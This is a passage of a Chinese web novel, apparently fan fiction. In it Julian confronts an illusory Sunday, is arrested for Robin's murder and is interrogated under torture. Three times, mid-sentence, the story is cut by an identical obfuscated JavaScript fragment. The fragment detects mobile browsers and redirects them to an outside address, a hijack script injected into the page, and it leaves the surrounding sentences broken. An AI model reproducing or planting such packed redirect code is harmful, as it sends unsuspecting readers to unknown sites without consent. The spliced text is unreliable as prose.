那种忍气吞声的狼狈,即使过去了好几年,尤利安依然铭记于心,难以忘怀。 如果可以,他不想再看到那张老脸哪怕一秒——可威廉教授算得上是星期日的恩师,严厉,但确实胸怀热忱还负责任。 而这里,也只是幻境而已。 “好吧,那我们就去看看他吧。”他不情不愿地说道。 * 教师办公室在走廊最深处,想要去到那里,要途径一系列乱七八糟的东西——半死不活的广告牌,吵闹不停的折纸小鸟,神经兮兮的留级生。 这些千奇百怪的人或物,他们都面不改色地从混乱中淌过去了,可最后,星期日在一扇没有阖上门的教室前停住了。 教室里,包括讲师,没有一个人穿得像人样。 小小一间教室,简直是类人群星闪耀时。 “……折纸大学的课程还是这么活泼啊。” 尤利安看着一屋子的妖魔鬼怪,压抑住吐槽的欲望:“……是啊,美梦多彩,理想自由。” 然而,这么自由的课程,却容不下他一个浑水摸鱼只想拍毕业照的。 虽然他唱得确实很难听……他也没想到自己唱得那么难听,在一众正常入学的谐乐学院学生中,不能说是喜鹊堆里麻雀叫,也能说是百鸟林中乌鸦吼。 在开口唱歌前,没有哪个五音不全的人能提前得知自己五音不全。 当然,光是这点也不值得讲师如此针对他,他去质问那个老家伙为什么要向学院反应把自己调走时,对方告诉他的是——他不能容许一个没有理想的人肆无忌惮地轻视他的课程。 所以尤利安最后去了能容纳混子的财富学院……但这不意外着他跟那个老家伙的账能一笔勾销了! 静静听了一会儿课程后,他们继续向走廊深处走去。 到办公室门前,尤利安止住脚步,扯了扯星期日衣角,别扭地说道:“我还是不进去了,我不是很喜欢威廉教授。” 是讨厌死那个老家伙了。他在心中面无表情地纠正到。 星期日也知道他们之间的过节,拍了拍他垂下的头:“那就在外面等等我吧。” 尤利安乖乖缩在门后等候,他的思绪有点乱,过去、现实、虚假、真实,纠缠在一起,他觉得自己需要一点时间好好想想接下来怎么办。 可惜上天并没有留给他思考的时间,星期日很快从办公室内出来了。 “你们不多聊聊吗?” “不用了。”那张俊美的脸上充盈着复杂的感情,困惑、迷茫、怅惘……最终归为释然。 “我已经知道答案了。” 他又在笑,可这次的笑,好像和之前的略显不同,是什么不同呢…… 尤利安记在脑子里,仔细分辨着,直到最后才领悟,这个笑并不是露给自己的。 19.第十九章 “陪我去学院中心的舞台看看吧,就当是……这场旅途的终点。” 大学总喜欢用各种奇奇怪怪的理由举办庆典,在尤利安的印象中,学校中心广场的舞台从未被拆下过,那块被聚光灯笼罩的小地方,总是蓄势待发地,准备迎接任何人的登台演出。 纵使音乐庆典并未开始,这座星光璀璨的舞台上,也有不知名乐队在演出。 鼓声如雷,贝斯低沉轰鸣,暖色灯光从舞台漏出,慷慨地洒在台下的观众身上,为星期日那张本就好看的脸上更添了分柔和。 尤利安的注意力没有半点放在舞台上,他对音乐的兴趣就跟他在其上的天赋一样,在他眼中,音乐只分为两种,不难听和不能听。 相较于音乐,他更在意自己身旁的人。 他用余光打量着星期日,仔仔细细端详着他的每一寸肌肤,想从上面找出什么呢?是相同还是不同?他自己也说不太清楚。 唯一可以肯定的是,单从外表上来看,对方确实与他记忆中别无二致。 终归是不同的。 他需要跨过的,是自己心里的那道坎。 尤利安不再看他。 幻境再美好也只是幻境,他已经放任自己在虚假的美好中沉迷太久,也该结束这一切,回到冰冷的,令他手足无措的现实了。 可是……该如何面对呢? 以往熟视无睹的死亡变作横在两人间的刀山火海,不可触碰,不可逾越。 他可以辩解杀害知更鸟的是他的镜像,他想象星期日也能理解二者的区别,可理解和接受之间,看似触手可及,但那点微末的差距,可能是他们花一生都无法越过的。 知更鸟对星期日有多重要,他是最知道的。 唯一的亲人,最亲近的妹妹,拼尽全力也要守护的人……尤利安承认自己很羡慕她,这羡慕中,也曾混杂着几分嫉妒。 他羡慕知更鸟有可以依赖的兄长,又嫉妒对方好似什么都不用付出,就能收获无条件的爱,更不理解她为何不愿留在匹诺康尼,执意前往更高更远的星际,为注定会死去的普通人歌唱……但这并不意味着他讨厌知更鸟,更不代表他希望看到对方死去。 在收到知更鸟受伤消息时,向来冷静端庄的橡木家系家主是如何失态,尤利安再清楚不过。 如今却是死亡——更遑论这死亡和自己有脱不开的关系。 似乎是个无解的难题。 他不愿面对,可惜世事不遂他愿。 ……听完这首歌就走吧。 乐队唱着乱七八糟的歌词,以往这样的歌曲,总能把尤利安催眠得昏昏欲睡,可如今他心事重重,没有一丝倦意。 台上乐队活力四射,台下观众热情回应,唯有这一方小小的阴影里,安静诡异地弥漫。 最后一个音符落下。 乐队致谢,观众离场,尤利安贪恋这份暴风雨前最后的安静,犹疑着不愿开口。 反而是星期日打碎了他的自欺欺人。 “知更鸟曾说,她希望有朝一日回到母校,能登上舞台为大家献乐,可惜她的日程安排十分紧凑,下次回到匹诺康尼,怕是要等到谐乐大典开幕。” “会有机会的,只要知更鸟小姐有时间,这座舞台随时为她开放。”不管这座舞台上原本预定了谁的演出,只要知更鸟想,都可以只成为她一个人的舞台,不是因为她是享誉寰宇的大明星,而是因为她是橡木家系家主的妹妹。 “所以,尤利安,知更鸟现在怎样了?” ?问他吗? 不管什么时候,星期日应该都比他更清楚知更鸟的现状。 尤利安侧身,疑惑地看着他被暖黄色灯光揉碎的瞳孔。 “知更鸟小姐现在应该在其它星系举办演唱会,并无大碍。” 回应他的是一道轻轻的叹息声,似是失落,似是怅然。 怎么了? 尤利安开始坐立难安,惊疑地审视自己的记忆。 在这个时间点,知更鸟确实是在银河间巡演啊,他应该,没有记错啊。 为什么要叹息?是他的回答有什么不对吗…… 即使明知眼前不过幻象,他的情绪依然能被轻而易举牵动。 “在你的世界里,知更鸟现在如何了?” 尤利安不敢相信自己的耳朵。 什么意思?什么叫做,在他的世界里? 他强颜欢笑,试图糊弄过去:“不太清楚,我与知更鸟小姐并无联系,她的现状您应该比我更清楚……” “你果然会选择逃避啊。”星期日以一种温柔到近乎怜悯的眼神望着他,“尤利安,你分明早就知道,这里并不是真实的世界,可你一开始就选择对我隐瞒。” “而在我戳破这一点后,你依然不愿说实话……是因为不能对我说实话,还是因为不想对我说实话?” “不,不是,并没有……”尤利安着急地想要辩解,可连他自己都找不到任何有力的说辞。 一万个谎言的重量,也抵不过一个真相。 一只手抚上他的脸,没有手套的隔阂,干燥温暖的指腹直接压在他的面颊上。 对上他的眼睛,尤利安才发现自己看上去是如此狼狈——脸色苍白,神色惊惶,简直是把“我在说谎”写在了脸上。 而造就这分狼狈的元凶之一,用一种他无法理解的轻松口吻,说道:“对我说谎,是因为我也是假的,对吗?” 轰—— 压在他心间的那块巨石炸成烟花,碎石顺着血液,流进他的四肢百骸,心脏每跳一次,疼痛更深一分。 否定的话卡在他的喉咙里吐不出来,为什么?明明并没有同谐的力量禁锢自己—— “下次说谎时,记住不要心虚地避开‘我’的眼睛。”他叹息着,没能说出一句责怪的话。 他已习惯宽容,作为希佩的铎音,赐予来向他忏悔之人宽恕,而作为兄长,作为必须走在最前方,肩负责任的年长者与强者,面向与他一同长大,早已视作家人的尤利安,他能给予的理解和纵容,比面向其他人的多得多。 从来到他身边,尤利安给他最大的印象就是“脆弱”。 这种脆弱,不只体现在他身体极易受伤,还体现在他心理上的敏感与不成熟。 似乎外界的任何风吹草动,都会在他心中掀起轩然大波。 星期日对情绪感知很敏锐,这是他身为天环族的天赋,也是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673762|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被同谐眷顾的证明。 幼年时他跟随歌斐木大人外出学习,几天后再回家,便能在家中收获一个极其不安,他去哪里都要跟着的小尾巴,他不是没有觉得烦过,可一回头,对上那张苍□□致、可怜兮兮的脸和那双湿漉漉的眼睛,心软很快就追上了他。 就像小狗将主人作为自己世界的中心一样,尤利安总喜欢围着他打转,他的喜悦、忧郁、悲伤,都被星期日一览无余。 这种感觉,名为支配。 人在面对比自己柔弱太多的生物时,很轻易从俯视中诞生出满足,小孩子通常会在自家的宠物上第一次收获这种高高在上支配的快乐,而在小谐乐鸽坠亡后,再次给予星期日这种感觉的,便是被歌斐木送入家门的新的“小鸟”。 尤利安很脆弱,他很需要我,他能依赖的只有我。 这是他从那双红色眼睛中读出来的。 在意识到这点后,他莫名有了一种责任感,像是不顾家长反对毅然决然买下小猫小狗的孩子一样,猛然发觉,自己应该对它负责。 于是他尝试给予对方更多的包容和怜惜,像对着一只始终无法飞翔的幼鸟,在对方可能坠落的每一个地方,都铺好垫子防止它摔伤。 这一点在经年累月中成为了习惯,即使成年后也延续了下来。 一只小猫能干出最大的坏事,也不过是挠坏家具。 他将宽容再次给予生理心理双重定义下的“弱者”。 “你是……怎么发现的。” 星期日给了他更多的耐心:“在毕业后不久,我便收到了威廉教授去世的讣告,他是一位太纯粹又太不幸的人,没有家人,身患绝症,又因为教学理念的不合与同事关系不好——最后是我为他主持的葬礼。” “而在那间办公室中,我见到了本不应该出现在那里的威廉教授。” 所以,是这里出现了漏洞……不对,那对方也只能猜出这个世界是幻境,对于他自己—— “至于我怎么发现自己也是这虚假的一部分,”星期日神秘地笑着,有些落寞,又忍不住得意,“是你告诉我的,尤利安。” “尤利安,你不擅长说谎。” 不对。 尤利安颤抖着在心中反驳着。 他很擅长说谎,他谎话连篇,他连自己都能骗,只要面前站着的不是星期日,他都能将谎话说得又快又好,但是、但是…… 但是站在他面前的,偏偏就是星期日。 面向自己的谎言轰然倒塌,他无法再蒙蔽自己的心。 “为什么、要揭穿……” 漂亮的眼睛蓄满泪水,好似两块浸泡在池水中的红宝石。 为什么要戳破他的自欺欺人,他明明都要骗过自己了,他明明都快狠下心了,他明明都能心安理得地举起刀,然后告诉自己,他分得清了—— 清悦的声音颤抖着,哽咽藏于其中。 “如果你不揭穿的话,我就能,就能……” 就能杀了你了。 那双温暖的手轻柔地为他拭去眼泪。 星期日笑得很温和,金色的眼眸荡开,每一圈波纹都漾着温柔。 “抱歉,就当是,我的一点私心吧。” 20.第二十章 杀了他。 白皙漂亮的脖颈犹如上好的羊脂玉,细腻而光洁,泛着微微的柔光,在这优美的弧度之上,颈动脉正有力地跳动着,仿佛隐藏在雪下生命的暗河。 只需手起,刀落,新鲜的血液便能冲破封锁,满头满脸地浇在自己身上,以它的温热和湿润,将自己从虚无中唤回。 不要犹豫,不要迟疑,只要闭上眼再睁开,他就能回到现实。 尤利安清楚地知道这一点。 他的目光凝固在那缓缓跳动的动脉上,觉得它跳得太快了,快到自己的心跳都追不上。 他的灵魂好像被撕成了两半。一半清晰地告诉他不要多想,简单点,干脆点,送他下地狱,然后忘了这一切,回到现实去,另一半却在他耳边啜泣,诘问他怎能背弃原则,将屠刀对准神明。 两种声音纠缠着,将他的灵魂推入烈焰上炙烤,尤利安痛苦地蜷缩着身体,闭上眼,回忆翻涌着袭来,要将他拖入海底。 他是为什么举起刀的呢? 最开始,不正是为了让星期日不再受伤的吗? 那他现在要做什么? 他要……对他想保护的对象挥刀? 尤利安陷入了深深的迷茫。 他环视四周,灯光一样明亮,人群依旧熙攘,没有烦恼,没有那么多波谲云诡要将他吞没,只要不去思考,这里似乎是一个更好的现实。 但是…… 他看着星期日,从他温柔的金色眼眸,到他打着铆钉的灰色耳羽,再到他后方印有荆棘的六芒光环。 都是假的。 外面还有人在等着他,真正的星期日还在等待,等待一个他们都心知肚明的真相。 他忽然有些难过,为自己的摇摆,为自己的软弱。 “……如果你不揭穿就好了。”痛苦化作言语从喉咙涌出,尤利安拼命倾吐舌尖的苦涩,仿佛这样就能让他好受些,“如果不是你,我很快就能结束这一切,去做我该做的事……为什么要指出来,为什么要阻挠我,为什么不能干脆地消失……” 他声音越来越低,分不清是抱怨还是控诉的语句一点点缩短,含混在了唇齿间,在一声叹息后,他又好似突然惊醒,开始疯狂地道歉,仿佛那无数句对不起,能抵消掉他方才的话语。 星期日将他额头上被汗浸乱的黑发拨正,另一只手缓缓抚摸着他的脊背,在这温柔的安抚下,尤利安渐渐停止颤抖,安静下来。 “我应该杀了你的。”他抬头,凌乱发丝间露出一双泛红的眼睛,瞳孔被水洗得干净,语气柔软又微弱,比一只蝴蝶还要轻盈,“还有人在等着我。” “我知道。” 星期日很平静地接受了“他”的终局,就像他很平静地接受了他并非真正的“星期日”。 怀疑的种子早已种下,现在他不过是目睹了它结出果实。 愚钝从来与他无半点干系,作为被拟造而生的造物本身,他其实最清楚自己的异常。 力气从四肢中被抽丝剥茧地一点点扯出,脑中同谐的音律远去,心中总有些顿顿的预感,冥冥中有钟声响起,宣告他时日无多。 他本来以为自己是病了,积劳成疾或者旁的什么,最后确认原来自己整个人就是完全虚假时,竟然松了口气——在他看不见的地方,真实的自我还能走在实现理想的道路上。 随之而来的是轻松,在这片幻境中,他不用去思考如何拯救更多的人,不用再倾听他人的痛苦,不用再为他人的痛苦揪心,待到这片幻境消失,他便会随之一同破碎。 唯一令他有些惭愧的是,他貌似被有心之人利用,成为了针对尤利安的工具。 星期日看向他时,时时会想:尤利安什么时候会向他吐露真相。 遗憾的是,对方好像迟迟下不了决断,而此之前,他先一步听到了死亡的讣音。 时间不多了。 “尤利安,在你的世界里,现在是什么时间了?” “谐乐大典即将开幕,收到邀请函的嘉宾皆已入场。” 这样啊,那大概是嘉宾中的一位构筑了这场幻境。 “家族近况如何?你过得还好吗?” “……一切都好。” 他的笑意趋于轻松,问出了最后也是最关心的问题。 “知更鸟应该也已受邀回到匹诺康尼,她呢?她还好吗?” “……” 尤利安顿了顿,不避不闪地对上他的眼睛,一字一顿地说:“知更鸟小姐一切安好,正专心筹备谐乐大典。” 星期日再次给了他一个轻柔的抚摸,如往常一样,“你们都很好,那我便放心了。” 尤利安紧紧握拳,指甲嵌入掌心,又堵住伤口不让血液流出。 他轻咬下唇,犹豫地问道:“如果……我做了错事,做了你无法原谅的事,你会怎么做?” 他曾说过,他分得清镜像和本尊,他不会将二者混为一谈,他要将不该存在的东西推回它本该去的地方。 可实际上……他分不清。 他要食言了,他准备将眼前年轻一些的星期日一同带回现实,即使他是镜像,是被有心之人创造出的工具……他也会保护他。 但是,一旦承认镜像与本尊实为一体,无疑也默认了,他的镜像也是他,尤利安,就是那个杀死知更鸟的凶手。 他引颈受戮,静静等待审判的铡刀落下。 星期日被问得一愣,眉头微蹙,似乎从未预想过这种情况。 他没有去追问尤利安到底做了什么事,只是在沉思片刻后,给出了自己认为最有可能的答案。 “大概,会把你关起来,好好管教吧。”然后自己收拾他闯下的烂摊子。 毕竟小猫犯了错,主人的责任最大。 尽管如此,他也还是很好奇,尤利安一直在他眼皮子底下,能闯下什么无法原谅的祸事。 他没来得及细想,尤利安激动地抱住了他。 星期日听到了不属于自己的,更有力的心跳。 温热的泪水濡湿了他的衣襟。 “……这场相遇,要迎来分别了吗?” “不,”尤利安摇了摇头,神情复杂,“我要将你带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686966|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去,一同回到现实。” “……即使到了现实,我也无法久留。” 尤利安喃喃道:“我知道,但是,谐乐大典即将开幕,梦想中的乐园就要建成了,我想,我想至少让你看见……” 他的泪水越流越多,拥抱的力度也趋于轻微,只要星期日想,轻而易举就能推开他。 从幻境中挣脱后,他就会成为杀害橡木家系家主妹妹的凶手,与他不共戴天。 尤利安想,他要做好准备,等到出去后,他要快些行动,确保谐乐大典顺利开幕,等到万千协奏奏响,他便能将他多年奔波所造就的“伪神”投向同谐的怀抱,届时,家主大人不用被梦主推入深渊,成为被钉上十字架的殉道者,他们会平安地迎来梦想的乐园。 只能成功,不能失败,他无法容许他们分道扬镳,或许会怀揣着无法释怀的怨恨,就此分道扬镳。 而在这一刻,他将选择权交给对方。 他也得到了自己期望的回应。 星期日轻轻回抱住他。 “好,一起前往新世界吧。” 尤利安温柔地注视着他,企图看清他脸上的每一寸神情,可眨眼间,这温柔便凝固了,因为他也看清了星期日脸上的裂纹。 他惊恐地盯着那条细小的冰蓝色裂纹,颤巍巍伸出手,想要将它弥补。 可还没等他碰上,那条细纹寸寸扩大,形如蛛网爬满星期日全身,随后在他停滞的呼吸中,温柔浅笑的灰发青年,便如出窑后骤然降温的青花瓷,轰得一声,碎掉了。 冰冷的渣滓闯入他的肺部,尤利安掐着自己的脖子,剧烈地咳嗽着。 幻境也应声而碎,路人,舞台,校园,全成了一地的碎渣子。 熟悉的声音在他脑海中响起,夹杂着戏谑和讥讽。 “嘭!闯关失败!” “现在是惩罚关卡!” 急促的脚步声落在他周围,尤利安惶然抬头,对上无数双墨镜,和黑洞洞的枪口。 他站在艾迪恩公园中心,以往欢快的背景乐消失,游戏机暂停,寻欢作乐的旅人和住客全部不见踪影,取而代之的,是一圈圈,像工蜂般围猎他的“猎犬”。 高楼的投影屏上播放着同一段影像,那是“尤利安”闯入白日梦酒店房间,用一柄冰刀,杀死了睡梦中的知更鸟。 所有人都能看见。 纵使隔着墨镜,那一道道混杂着震惊、畏惧、憎恶的视线也齐刷刷落在他身上,如针刺骨,如芒在背。 “尤利安大人,请您跟我们走一趟。” 被人群包围的黑发青年神情恍惚,面色苍白得犹如刚从地狱中爬出来的恶鬼,精致漂亮的面容在森森死气中僵成橱窗中的玩偶,血红眼睛直勾勾地盯着为首的猎犬领队。 “我是杀死知更鸟的凶手?”他听到自己在问。 “……我是杀死知更鸟的凶手。”他听到自己在答。 身材魁梧的猎犬领队肯定了他的猜测。 “尤利安大人,请您跟我们走一趟。” “这是家主大人下达的命令。” 21.第二十一章 噼里啪啦的按键声在高楼楼顶响起,很难想象,在匹诺康尼如此戒严的情况下,还会有人大咧咧地坐在楼顶的栏杆上打游戏。 红白游戏机款式陈旧,早在上个世纪中叶便被匹诺康尼淘汰,仅存的几款被放置在博物馆的玻璃罩中,作为火热的游戏世代的历史缩影。 屏幕上的黑白小人迟钝地躲闪着,没几下就被打趴在地,被一套华丽的连招清空了血条,“KO”两字尚未浮现,游戏机便被大力摔到地上,碎了个稀巴烂。 洛青掏出针管,狠命扎在自己脖子上。 一大管深绿色液体被推入血管内,他眼中的红血丝逐渐消去,又是一管镇定剂,他狰狞的表情重归平静。 空针管被随意丢弃在一旁,两个血洞留在苍白的脖子上,往外呼呼冒血。 “比起来匹诺康尼,你更应该去看心理医生。” 银发的小姑娘开口道,嘴里还叼着根棒棒糖。 “不用,”洛青语气平淡,“我很享受这种濒临失控的痛苦,正是它提醒我,我还活着。” 他表情恬静,黑发雪肤,面容柔和精致,恍若宣纸上精雕细琢出的绝代佳人,执伞立于迷蒙云雾间,美得典雅而飘渺。 然而,虚假的优雅只持续了片刻,便被轻佻浮夸的笑意打破。 “哎呀,不好意思弄坏了你的游戏机,我从‘记忆’中给你拖出一模一样的吧,你要几个?十个够吗?” 银狼将游戏机收好,拒绝了他假惺惺的赔偿:“你复制出来的残次品没几天就坏掉了,还会浪费我的存档。” 洛青撇嘴,没有反驳。 他复制出来的是什么东西,他自己心知肚明。 “限量款花钱也买不到同样的,你回答我几个问题吧。” ‘真麻烦,要不干脆把她推下去吧。’他心想,眼珠滴溜着,丈量骇客少女和地面的距离,大脑又开始隐隐作痛。 他按住口袋中仅剩的一支镇定剂,嘴上应和道:“好吧好吧,你问吧。” “你为什么那么喜欢借用刃的形象?” “因为他外观很酷。”洛青理直气壮地回答道,“而且他脾气很好,除了死亡什么都不在意,即使我把套着他外观的玩偶摔得粉碎也不会找我麻烦。不像你,明明只是顶着你的账号输了几局游戏,就要疯狂发消息骂我。” 当然那些信息都被他打包好,当成垃圾短信丢进回收站了。 这点可不能让面前的小姑娘知道。 他正气凛然地表示,自己只是喜欢挑软柿子捏,绝不是因为看不惯对方身在福中不知福,获得了自己梦寐以求的不死之身,却不知好歹地一心求死。 ‘真是旱的旱死,涝的涝死。’他酸溜溜地想,‘同为短生种,自己费尽心思才活了两百多年,他什么都不用做,就能一直活下去。’ 出于幼稚的嫉恨,洛青热衷于操纵着套着刃外观的玩偶,去各个地方为非作歹,为星核猎手本就夸张的悬赏金后再添几个零。 “这次又搞坏了一具玩偶,还要麻烦你修补了,价钱好商量。”他说。 认识这么久,银狼不会看不出洛青在满嘴跑火车,她也不是很在意,继续问道:“你来匹诺康尼是为了星核吗?” “不用担心我会威胁到那位星核小姐,虽然我讨厌星穹列车,但还不至于没品到对朋友的‘孩子’下手。”他耸了耸肩。 此处的朋友指卡芙卡,虽然她可能并不知道自己是洛青的朋友,但不妨碍洛青给她扣上这个头衔,并认为自己应该给朋友一点偏私。 对怀有“母性”的成熟女性,他有天生的好感加成。 “最后一个问题,那个跟你长的一模一样的家族成员,和你是什么关系?” 洛青面露难色。 “哎呀呀,这个问题可不好回答。”他嘟囔道,刻意地看了看时间,“我还是把我的账户给你吧,游戏机的赔偿随你定。” “全转走也没关系哦~现在大人要去忙大人的事了,等我忙完了再来和你玩。” 他冲银狼浮夸地眨了眨眼,抛过去一个wink,被嫌弃地躲掉了,笑了笑,纵身一跃,在坠亡的那一刹那,消失不见。 …… 白日梦酒店最底层。 光线黯淡,四壁湿滑,齐腰深的水冰冷刺骨,无声掠夺着犯人的体温。 尤利安双手被铁链吊住,低着头,幽幽白光透过面前四四方方的屏幕打在他脸上,那是整间牢房唯一的光亮。 以往都是他将重刑犯送入牢房审讯,易位而处,他才认识到这间牢房是多么的压抑恐怖。 电子屏亮起,一张正气凛然的脸出现在屏幕上。 “你为什么要杀害知更鸟小姐?” 被审讯的犯人敛下眸子,低头不语。 牢中的水更森寒了几分,几条大鱼被放了进来,围着他打转。 “你是否还有同谋?” 回答依然是沉默。 尖锐的刀片割开他的衣服,割伤他的大腿,血液溢出,鱼群闻讯而来。 猎犬领队又问了几个问题,包括但不限于作案手法,案发情况,事后行动,都没有得到回应。 越来越多的鱼被投入水中,排排利齿啃咬着他的伤口,又痛又麻。 尤利安轻声问道:“下达逮捕令的,是橡木家系家主吗?” “当然!” 屏幕上贴出白纸黑字,落款正是星期日的亲笔签名,尤利安不会认错。 于是,他更加温顺地垂下头,交代自己的罪行。 “没有同谋,作案工具是一把冰刀,动机……可能是出于嫉妒吧。” 他当然可以辩解,说那不是自己做的,是自己的镜像做的。 但没人会认为镜中的他就不是他,难道对他的镜像施以死刑,罪责就能一笔勾销?——不会的,他还是会被认定为凶手。 况且既然连星期日都确信他为凶手,那他也没什么好辩解的。 暴露自己的能力,反而会诞生出更多问题,比如——那些行为举止古怪异常的“人”。 领队在手中的表上盖下一个红戳,继续问下一个问题:“除了知更鸟小姐,你还杀害过多少人?” “……” 水中的鱼还在吞食着他的血肉,前一批吃饱了,下一批就会迅速补上来。 “我不明白你的意思。”尤利安合上双眼,语气无半分波澜。 “橡木家系卢卡斯,苜蓿草家系艾登,鸢尾花家系斯嘉丽……”他前前后后念出三十多个人名。 “还有,猎犬家系克丽丝。” 他目光炯炯地看着尤利安,即使透过屏幕,依然快要将他灼伤。 “这是近十年来家族失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712225|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踪的成员名单,经过调查,他们有个共通点——都与你相识。” “这并不能说明什么,先生。”尤利安平静地回应道,“我的职位变动很大,与各个家系都有接触,认识的人数不胜数。” 审讯者从鼻腔中哼出一道气,“如果你主动供认自己的罪行,家族可以考虑对你从轻处罚。” “他们的失踪,真的与你没有关系吗?” 尤利安轻轻地摇头。 “不见棺材不落泪!” 猎犬领队鄙夷地瞪了曾经的上司,随后对身后恭敬地低头。 “奥黛丽夫人,请。” 尤利安眼睫颤抖了一下。 浅紫色的礼帽出现在屏幕上,往下,一头银发被整齐地挽至脑后,用一枚硕大的蓝宝石发饰固定,她的皮肤上已留下了岁月的痕迹,可依然能从那松弛的皮肤下窥见她年轻时的风采,同色调的长裙雍容华美,胸前别着象征鸢尾花家系的徽章。 那双已然混浊的蓝眼睛直勾勾地盯着屏幕内,眼中的情绪,说不清是愤怒多一些还是失落多一些。 鸢尾花家系的奥黛丽夫人,年轻时是风华绝代的银河巨星,年老后回到匹诺康尼,退居幕后,从事慈善工作。 “……尤利安,”她颤抖地喊他的名字,“你为什么会变成这样?” 尤利安紧咬下唇,忍耐着腿上的疼痛,别过脸,并未言语。 奥黛丽夫人情绪激动地质问他:“你为什么要杀了克丽丝!那是你的克丽丝姐姐啊!” 她从事慈善工作,退休后收留了一大堆无家可归的孩子,这些孩子长大后,自然也加入家族,成为传播同谐福音的一员。 不仅如此,她也愿意照付家族中其他年龄小的成员,喜欢孩子似乎是老年人的天性,而她明明并没有生育,却将这种天性放大到最大。 尤利安也受到过这位慈爱的老妇人的照拂。 “我对你不好吗?她对你不好吗?你为什么要害她!”她语气太激烈,胸脯激烈地起伏着,一时之间有些喘不上气,身后的猎犬领队忙劝她冷静一下,不要太激动。 眼见着牢内的犯人依旧是沉默,她硬生生被气笑了。 “……你还不认罪吗。”她闭上眼,不去看那张她曾经无比怜爱的脸,把自己知道的竹筒倒豆般全倒出来,“我本来以为克丽丝也是受不了家族的严苛,登上其中一艘飞船出走了,可是我收到了她的来信。” “皱皱巴巴的一张纸,被夹在货物中带了出来,等到了我手上,已经看不太清写的是什么了。” “我花了很久去复原它,读出一张不足巴掌大的纸上到底写了多少冤屈,又花了很久收集信息,确认这冤屈明晃晃指向你。” “尤利安,”苍老的声线无比沉痛,“克丽丝她哪里对不起你了,要被你抹除存在,还要被风言风语所害,扣上个‘出逃’的罪名,让知道她的人都不敢提及!” 原来是这样吗。 百密终有一疏,而正是这一点疏漏,导致他全盘皆输。 那段知更鸟小姐被杀害的影像,也正是因为鸢尾花家系的推波助澜,才能如此顺利地在艾迪恩公园的屏幕上播放吧。 尤利安睁开眼,看向屏幕中那位面容亲切的老妇人,红色的眼眸静得像一潭死水。 “她没有对不起我,她只是……太倒霉了。” 22.真相是假 她太倒霉了,遇见了我,帮助了我,然后不小心摔倒,骨碌碌滚到我的刀下。 长长的黑发被水沾湿,如千万条细细的黑蛇缠绕在清瘦的身体上,双手被铁链缚住,血色在冰冷池水中荡开,藏住了水下的尖牙的游鱼。 他被吊在那里,面容蒙上青森森的鬼气,如同遍体鳞伤的美杜莎,蛇尾皮开肉绽,精心保养的鳞片被扯下大半,血淋淋被高高吊起,气息奄奄,却还阴恻恻睁着眼,妄图将他人石化,随自己一同下地狱。 那三十多个名字里的大部分,尤利安都没印象了。 他杀过很多人,大部分是其他家系高层委派给他的任务,小部分只是倒霉误入了他的杀人现场,刀一挥,他们就都不见了。 死在他手里的人太多了,三十个大概连零头都没有,更多的是悄无声息地消失,或是现在还行尸走肉地在人群中“活着”。 这还只是家族成员,更多的是无人在意悄然消失的。 尤利安不会记自己杀死了多少人,更不会记他们的名字,他只是抓起一蓬雪花,然后冷眼看着它们在手中融化。 “你不会羞愧吗?” 他静静地看着屏幕后的兵荒马乱,看着那位优雅的老妇人被他气得涨红了脸,用沉默表示自己毫无愧疚。 许久后,奥黛丽夫人颤巍巍开口:“克丽丝……她还活着吗?” 那张纸条历经千辛万苦才到了她手中,但她却找不到写下血字的求救者。 如今,凶手就在她眼前,那点微末的希望在她心中死灰复燃。 “她死了。” 希望破裂。 “……你为什么不肯放过她,”苍老的眼睛怨恨地看着他,“为什么不能看在我曾经救过你的份上,放过我的孩子?” “人总得死,不是今天就是明天,死在我手里,和死在天灾疾病中,没什么不同。” 她被这番厚颜无耻的话惊得面容扭曲。 “在杀了她后,你竟然还能若无其事地拜托我给你行个方便……”她悲凉地笑出了声,“可笑我当时还没看清你的真面目……呵。” “自私自利、狼心狗肺、卑鄙无耻……尤利安,你怎么会变成这个样子!” 贫瘠的谩骂,连裤脚上的泥点子都比不上。 他百无聊赖地数着墙上的霉斑,隔着屏幕,那饱含怒火与憎恶的巴掌扇不到他脸上。 废话有些太多了。 被其他人哄着,平息了一会儿怒气后,老妇人红着眼,冷冰冰地宣判道:“死刑将在明日执行。” “你有什么遗言吗?” 遗言? 尤利安默默消化着这两个字,想了很多,想到他自己都有些累了,才慢吞吞从嘴里滚出一句“没有”。 他好像确实,没什么好说的。 屏幕暗去,没有光,他看不见东西了,只能感受到那刺骨的水和鱼群游动掀起的水流。 没有计时工具,他只好数自己的心跳,一下、两下……数到三千五百下时,他真正要等的人,总算到了。 